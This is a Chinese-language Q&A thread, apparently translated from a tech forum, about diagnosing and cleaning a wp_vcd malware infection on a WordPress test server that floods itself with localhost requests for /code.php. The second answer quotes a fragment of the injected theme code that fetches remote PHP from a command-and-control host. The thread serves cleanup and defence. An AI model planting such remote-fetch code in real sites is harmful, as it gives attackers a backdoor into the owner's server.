Apache 访问日志中来自本地主机的奇怪请求导致服务器崩溃

Apache 访问日志中来自本地主机的奇怪请求导致服务器崩溃

我最近在云 VPS 主机上设置了一个 Ubuntu 18 测试服务器,并安装了最新的 Wordpress。今天我去登录,但网站无法加载 - 我收到一个错误Error establishing a database connection

我进行了一些故障排除 - 在我的文件中添加了交换文件并阻止了 XML RPC 请求.htaccess,但仍然无法加载网站。查看文件时apache2/access.log,我注意到以下情况:

sudo tail -f /var/log/apache2/access.log 127.0.0.1 - - [06/Nov/2019:21:02:31 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:31 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:36 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:37 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:34 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-" 127.0.0.1 - - [06/Nov/2019:21:02:36 +0000] "GET /code.php HTTP/1.0" 404 23644 "-" "-"

这些请求...还有一些POST请求:

127.0.0.1 - - [06/Nov/2019:20:48:19 +0000] "POST /wp-cron.php?doing_wp_cron=1573073189.0748620033264160156250 HTTP/1.1" 200 166 "http://DOMAIN-REDACTED/wp-cron.php?doing_wp_cron=1573073189.0748620033 264160156250" "WordPress/5.2.4; http://DOMAIN REDACTED"

有人能帮我找到这些连接的来源吗?我在服务器上运行了几个 rootkit 扫描程序,但什么也没发现。我一直在仔细检查网络目录,寻找任何奇怪的东西,但还没有发现任何东西。谷歌搜索code.php是没用的。我目前已经关闭了 Apache 服务,直到我能弄清楚发生了什么。

附言:这是一个测试服务器,我可以轻松地将其删除并创建一个新的服务器,但我真的很想在这里进行一些故障排除,看看我是否可以找出问题所在......谢谢!

答案1

经过一番搜索后发现这是一种wp_vcd恶意软件感染。

我将添加一些有关如何清理它的细节,以便它能够帮助到其他人。

首先,我无法登录 WP 控制面板(一旦服务器收到 Web 请求,它就会被GET来自本地主机的请求淹没,并mysqld会因内存不足而崩溃)。为了解决这个问题,我将目录重命名themetheme.disabled允许我登录控制面板的目录。我安装了 Sucuri 插件来对 WP 核心文件进行快速扫描/比较,并发现了一些不属于的文件。我删除了以下内容:

wp-includes/wp-feed.php该文件包含一堆 IP 地址。显然,恶意软件会在用户登录时记录 IP,如果其中一个 IP 连接到该网站,就会抑制广告或网站上的任何垃圾内容

wp-includes/wp-vcd.php这些wp-includes/wp-tmp.php包含一些 base64 编码的 PHP 代码

我还检查了我的主题functions.php,在这里我发现了调用的位置GET code.php——只是它们不应该到达本地主机,而是应该发送到某个.pw带有域的 C&C 服务器。我删除了这个文件并恢复了一个干净的版本。

此时,网站似乎一切正常,响应正常。我重新启用了主题并安装了一些额外的安全软件。我还检查了wp_users数据库中的表,以确保没有添加管理员用户。如果这不仅仅是一个测试服务器,我还会通过 Cloudflare 或其他 WAF 解决方案来运行它,以获得额外的安全性。

答案2

在根文件夹中添加一个空的 /code.php,

但在主题 functions.php 中

在 php 块顶部添加了一些东西,

我删了它

在所有 functions.php 中进行文本搜索

/code.php" 或 /code.php' 或 /code.php

...

            elseif ($tmpcontent = @file_get_contents("http://www.grilns.top/code.php")  ...

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?><?php
/**
 * Theme functions and definitions
 *

当然我删除了块直到

    <?php
    /**
     * Theme functions and definitions
     *

然后可能不再需要 root 中的 /code.php

相关内容